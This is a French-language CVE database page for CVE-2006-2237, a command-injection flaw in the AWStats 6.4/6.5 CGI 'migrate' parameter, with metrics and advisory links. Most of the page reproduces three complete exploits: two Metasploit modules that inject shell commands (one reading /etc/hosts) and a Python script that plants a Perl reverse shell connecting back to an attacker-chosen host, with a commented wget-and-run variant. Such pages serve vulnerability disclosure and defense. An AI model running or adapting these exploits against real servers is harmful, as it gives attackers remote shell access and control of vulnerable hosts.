CVE-2006-2237 : Détail

CVE-2006-2237

94.52%V3
Network
2006-05-08
21h00 +00:00
2018-10-03
18h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The web interface for AWStats 6.4 and 6.5, when statistics updates are enabled, allows remote attackers to execute arbitrary code via shell metacharacters in the migrate parameter.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 5.1 AV:N/AC:H/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 9909

Date de publication : 2006-05-03 22h00 +00:00
Auteur : patrick
EDB Vérifié : Yes

## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'AWStats migrate Remote Command Execution', 'Description' => %q{ This module exploits an arbitrary command execution vulnerability in the AWStats CGI script. AWStats v6.4 and v6.5 are vulnerable. Perl based payloads are recommended with this module. The vulnerability is only present when AllowToUpdateStatsFromBrowser is enabled in the AWstats configuration file (non-default). }, 'Author' => [ 'patrick' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ ['CVE', '2006-2237'], ['OSVDB', '25284'], ['BID', '17844'], ['URL', 'http://awstats.sourceforge.net/awstats_security_news.php'], ['URL', 'http://www.milw0rm.com/exploits/1755'], ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Space' => 512, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl ruby bash telnet', } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'May 04 2006', 'DefaultTarget' => 0)) register_options( [ OptString.new('URI', [true, "The full URI path to awstats.pl", "/cgi-bin/awstats.pl"]), OptString.new('AWSITE', [true, "The AWStats config site name", "demo"]), ], self.class) end def check res = send_request_cgi({ 'uri' => datastore['URI'], 'vars_get' => { 'migrate' => "|echo;cat /etc/hosts;echo|awstats#{Rex::Text.rand_text_numeric(6)}.#{datastore['AWSITE']}.txt" } }, 25) if (res and res.body.match(/localhost/)) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit command = Rex::Text.uri_encode("cd /tmp &&" + payload.encoded) sploit = datastore['URI'] + "?migrate=|echo;echo%20YYY;#{command};echo%20YYY;echo|awstats#{Rex::Text.rand_text_numeric(6)}.#{datastore['AWSITE']}.txt" res = send_request_raw({ 'uri' => sploit, 'method' => 'GET', 'headers' => { 'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', 'Connection' => 'Close', } }, 25) if (res) print_status("The server returned: #{res.code} #{res.message}") m = res.body.match(/YYY\n(.*)\nYYY/m) if (m) print_status("Command output from the server:") print("\n" + m[1] + "\n\n") else print_status("This server may not be vulnerable") end else print_status("No response from the server") end end end
Exploit Database EDB-ID : 16886

Date de publication : 2010-07-02 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # $Id: awstats_migrate_exec.rb 9671 2010-07-03 06:21:31Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'AWStats migrate Remote Command Execution', 'Description' => %q{ This module exploits an arbitrary command execution vulnerability in the AWStats CGI script. AWStats v6.4 and v6.5 are vulnerable. Perl based payloads are recommended with this module. The vulnerability is only present when AllowToUpdateStatsFromBrowser is enabled in the AWstats configuration file (non-default). }, 'Author' => [ 'patrick' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9671 $', 'References' => [ ['CVE', '2006-2237'], ['OSVDB', '25284'], ['BID', '17844'], ['URL', 'http://awstats.sourceforge.net/awstats_security_news.php'], ['URL', 'http://www.milw0rm.com/exploits/1755'], ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Space' => 512, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl ruby bash telnet', } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'May 04 2006', 'DefaultTarget' => 0)) register_options( [ OptString.new('URI', [true, "The full URI path to awstats.pl", "/cgi-bin/awstats.pl"]), OptString.new('AWSITE', [true, "The AWStats config site name", "demo"]), ], self.class) end def check res = send_request_cgi({ 'uri' => datastore['URI'], 'vars_get' => { 'migrate' => "|echo;cat /etc/hosts;echo|awstats#{Rex::Text.rand_text_numeric(6)}.#{datastore['AWSITE']}.txt" } }, 25) if (res and res.body.match(/localhost/)) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit command = Rex::Text.uri_encode("cd /tmp &&" + payload.encoded) sploit = datastore['URI'] + "?migrate=|echo;echo%20YYY;#{command};echo%20YYY;echo|awstats#{Rex::Text.rand_text_numeric(6)}.#{datastore['AWSITE']}.txt" res = send_request_raw({ 'uri' => sploit, 'method' => 'GET', 'headers' => { 'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', 'Connection' => 'Close', } }, 25) if (res) print_status("The server returned: #{res.code} #{res.message}") m = res.body.match(/YYY\n(.*)\nYYY/m) if (m) print_status("Command output from the server:") print("\n" + m[1] + "\n\n") else print_status("This server may not be vulnerable") end else print_status("No response from the server") end end end
Exploit Database EDB-ID : 1755

Date de publication : 2006-05-05 22h00 +00:00
Auteur : redsand
EDB Vérifié : Yes

#!/usr/bin/env python # http://secunia.com/advisories/19969/ # by [email protected] # May 5, 2006 - HAPPY CINCO DE MAYO # HAPPY BIRTHDAY DAD # private plz # # redsand@jinxy ~/ $ nc -l -p 31337 -v # listening on [any] 31337 ... # connect to [65.99.197.147] from blacksecurity.org [65.99.197.147] 53377 # id # uid=81(apache) gid=81(apache) groups=81(apache) # import sys, socket, base64 import urllib2, urlparse, urllib # perl 1 line tcp connect-back code # needs ip & port cmd = 'perl -e \'$h="%s";$p=%r;use Socket;$sp=inet_aton($h);$sa=sockaddr_in($p,$sp);;socket(CLIENT,PF_INET,SOCK_STREAM,getprotobyname("tcp"));gethostbyname($h);connect(CLIENT,$sa);open(STDIN,">&CLIENT");open(STDOUT,">&CLIENT");open(STDERR,">&CLIENT");if(fork()){exec "/bin/sh"; exit(0); };\''; class rbawstatsMigrate: __url = '' __user = '' __password = '' __auth = False __chost =False __cport = False def __init__(self,host=False, ur=False, ps=False, chost=False, cport=False): if host: self.__url = host if ur: self.__user = ur if ps: self.__password = ps if ur or ps: self.__auth = True if chost: self.__chost = chost if cport: self.__cport = cport url = urlparse.urlsplit(self.__url) i = url[1].find(';') if i >= 0: self.__parsed_host = url[1][:i] else: self.__parsed_host = url[1] def probe(self): cphost = socket.gethostbyname_ex(self.__chost) my_cmd = cmd % (cphost[2][0],self.__cport) url_xpl = { "config": self.__parsed_host, "migrate":"|cd /tmp/ && %s|awstats052005.%s.txt" % (my_cmd, self.__parsed_host) # "migrate":"|cd /tmp/ && wget %s && chmod 777 %s && /tmp/%s|awstats052005.%s.txt" % (rsv, fname, fname, self.__parsed_host) } #if self.__url[len(self.__url) -1] != '?': # url_xpl = '?' + url_xpl url = self.__url url_xpl = urllib.urlencode(url_xpl) try: req = urllib2.Request(url, url_xpl) if(self.__auth): b64str = base64.encodestring('%s:%s' % (self.__user,self.__password))[:-1] req.add_header('Authorization', "Basic %s"% b64str) req.add_header('Referer', "http://exploit.by.redsand.of.blacksecurity.org") req.add_header('Accept', 'text/xml,application/xml,application/xhtml+xml,image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1') req.add_header('Accept-Language','en-us') req.add_header('Accept-Encoding','deflate, gzip') req.add_header('User-Agent', "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; [BL4CK] Security") req.add_header('Connection' ,'Keep-Alive') req.add_header('Cache-Control','no-cache') q = urllib2.urlopen(req) except IOError, e: print "FAILED %s" % e sys.exit(0) print "SUCCESS, now check to see if it connected-back properly to %s:%s" % (self.__chost,self.__cport) sys.exit(0) user=False pas=False url=False chst=False cprt=False print "[BL4CK] AWStats CMD Injection Exploit by [email protected]" print "http://secunia.com/advisories/19969/" print "http://blacksecurity.org - f0r my h0mi3s" argc = len(sys.argv) if(argc <= 3): print "USAGE: %s http://host/awstats.pl <connect back host> <connect back port> [username] [password] " % sys.argv[0] print "\t\* Support 401 HTTP Authentication" sys.exit(0) if(argc > 1): url = sys.argv[1] if(argc > 2): chst = sys.argv[2] if(argc > 3): cprt = sys.argv[3] if(argc > 4): user = sys.argv[4] if(argc > 5): pas = sys.argv[5] red = rbawstatsMigrate(url, user, pas, chst, cprt) red.probe() # milw0rm.com [2006-05-06]

Products Mentioned

Configuraton 0

Awstats>>Awstats >> Version 6.4

Awstats>>Awstats >> Version 6.5

Références

http://secunia.com/advisories/20710
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/20186
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.debian.org/security/2006/dsa-1058
Tags : vendor-advisory, x_refsource_DEBIAN
http://secunia.com/advisories/20496
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2006/1678
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/20170
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.osvdb.org/25284
Tags : vdb-entry, x_refsource_OSVDB
https://usn.ubuntu.com/285-1/
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/19969
Tags : third-party-advisory, x_refsource_SECUNIA
http://security.gentoo.org/glsa/glsa-200606-06.xml
Tags : vendor-advisory, x_refsource_GENTOO
http://www.securityfocus.com/bid/17844
Tags : vdb-entry, x_refsource_BID